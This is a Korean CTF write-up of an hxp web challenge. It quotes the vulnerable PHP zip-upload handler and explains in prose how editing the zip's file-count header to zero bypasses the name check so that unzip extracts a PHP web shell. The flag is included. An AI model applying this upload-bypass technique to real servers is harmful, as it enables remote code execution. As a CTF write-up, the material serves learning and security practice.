if (isset($_FILES['zip']) && $_FILES['zip']['size'] < 10*1024 ){
    
$d 'files/' bin2hex(random_bytes(32));
    
mkdir($d) || die('mkdir');
    
chdir($d) || die('chdir');

    
$zip = new ZipArchive();
    if (
$zip->open($_FILES['zip']['tmp_name']) === TRUE) {
        for (
$i 0$i $zip->numFiles$i++) {
            if(
preg_match('/^[a-z]+$/'$zip->getNameIndex($i)) !== 1){
                die(
':/ security');
            }
        }

        
exec('unzip ' escapeshellarg($_FILES['zip']['tmp_name']));
        echo 
$d;
    }
}
else {
    
highlight_file(__FILE__);
}


코드를 보면 파일 업로드 시 특정 디렉토리 경로를 생성하고 해당 경로에 zip파일을 unzip하여 압축된 파일들이 업로드 되는 형태이다.


이 때 압축된 파일명들에 대해 정규식을 통해 검증하는데 알파벳 소문자외에 값이 들어갈 수가 없다. 즉 일반적인 형태로는 웹쉘 업로드가 불가능한 형태였다.


여기서 일단 커멘드 인젝션 같은 경우 escapeshellarg 함수가 적용되어있고 인풋으로 들어가는 값이 임시파일명이라 내가 컨트롤할 수 없는 부분이라 취약점을 터트릴 수 가 없었다.


그래서 일단 생각한게 Symlink 트릭으로 내부 파일 읽어오려고 해봤더니 업로드된 파일에 링크만 걸려있으면 무조건 권한부족으로 403이 떴다.


여기서 한참 헤매면서 ZipArchive관련 취약점들을 찾으면서 삽질을 했다. 


대회 종료 후 롸업을 보니 취약점이 $zip->numFiles 부분에서 터지고 있었다.


위의 파일 검증 루틴을 보면 ZipArchive 객체의 numFiles 속성을 통해 Zip 파일 내 압축되어있는 파일 개수를 가져오는 데 이 값을 가져올 때 아래와 같이 Zip 파일 내 해당 헤더 영역의 값을 참조하게 된다.


  

저 값을 01에서 00으로 수정할 경우 $zip->numFiles 가 0으로 세팅되면서 반복문 내 파일명 검증 루틴을 Bypass할 수 있다.


그 후 unzip을 통해 헤더 값이 변조된 zip파일이 압축해제 될 때 unzip 명령어에서는 저 값과 상관없이 정상적으로 zip 내 파일들을 압축해제하게 되어 웹쉘 업로드가 가능해 진다.


위 형태에 맞춰서 php 확장자를 가진 파일을 압축한 다음 헤더 값을 변조하여 업로드하니 웹쉘 실행이 됐다.








Flag = hxp{please_ask_gynvael_for_more_details_on_zips_:>} 









'CTF > Writeup' 카테고리의 다른 글

Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 Kou  (0) 2018.12.01
TenDollar CTF 2018 XSS  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,